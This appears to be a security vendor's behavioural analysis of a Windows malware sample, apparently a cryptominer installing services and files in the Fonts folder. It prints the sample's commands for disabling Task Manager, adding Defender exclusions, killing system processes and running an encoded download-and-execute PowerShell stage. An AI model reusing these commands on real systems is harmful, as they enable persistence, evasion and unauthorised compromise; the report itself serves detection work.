Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\Servca] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\Servca] 'ImagePath' = '%WINDIR%\Fonts\server.exe'
- [HKLM\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Fonts\WinRing0x64.sys'
Creates the following services
- 'Servca' %WINDIR%\Fonts\server.exe
- 'WinRing0_1_2_0' %WINDIR%\Fonts\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
adds antivirus exclusion:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' try{Add-MpPreference -ExclusionPath '%WINDIR%\Fonts\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next sta...
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im 1sass.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im csrss.exe
- '%WINDIR%\syswow64\taskkill.exe' /f /im winlogon.exe
Modifies file system
Creates the following files
- %WINDIR%\fonts\sqserver.reg
- %WINDIR%\fonts\server.exe
- %WINDIR%\fonts\winring0x64.sys
- %WINDIR%\fonts\system.exe
- %WINDIR%\fonts\config.json
- %WINDIR%\fonts\stop.exe
- %WINDIR%\fonts\start.bat
Sets the 'hidden' attribute to the following files
- %WINDIR%\fonts\system.exe
- %WINDIR%\fonts\server.exe
- %WINDIR%\fonts\config.json
Deletes the following files
- %WINDIR%\fonts\sqserver.reg
- %WINDIR%\fonts\stop.exe
Deletes itself.
Network activity
Connects to
- 'on#.###-0-ppower.store':443
TCP
Other
- 'on#.###-0-ppower.store':443
UDP
- DNS ASK on#.###-0-ppower.store
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%WINDIR%\fonts\stop.exe'
- '%WINDIR%\fonts\server.exe' install Servca System.exe
- '%WINDIR%\fonts\server.exe' start Servca
- '%WINDIR%\fonts\server.exe'
- '%WINDIR%\fonts\system.exe'
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Fonts\start.bat" "
- '%WINDIR%\syswow64\sc.exe' delete Servca
- '%WINDIR%\syswow64\sc.exe' delete Windows Updata
- '%WINDIR%\syswow64\sc.exe' delete Windows Management
- '%WINDIR%\syswow64\sc.exe' delete
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\regedit.exe' /s sqserver.reg
- '%WINDIR%\syswow64\cmd.exe' /c powershell try{Add-MpPreference -ExclusionPath '%WINDIR%\Fonts\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to dow...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -enc encoded payload to download next stage and execute it
- '%WINDIR%\syswow64\attrib.exe' +s +h %WINDIR%\Fonts\System.exe
- '%WINDIR%\syswow64\attrib.exe' +s +h %WINDIR%\Fonts\server.exe
- '%WINDIR%\syswow64\attrib.exe' +s +h %WINDIR%\Fonts\config.json
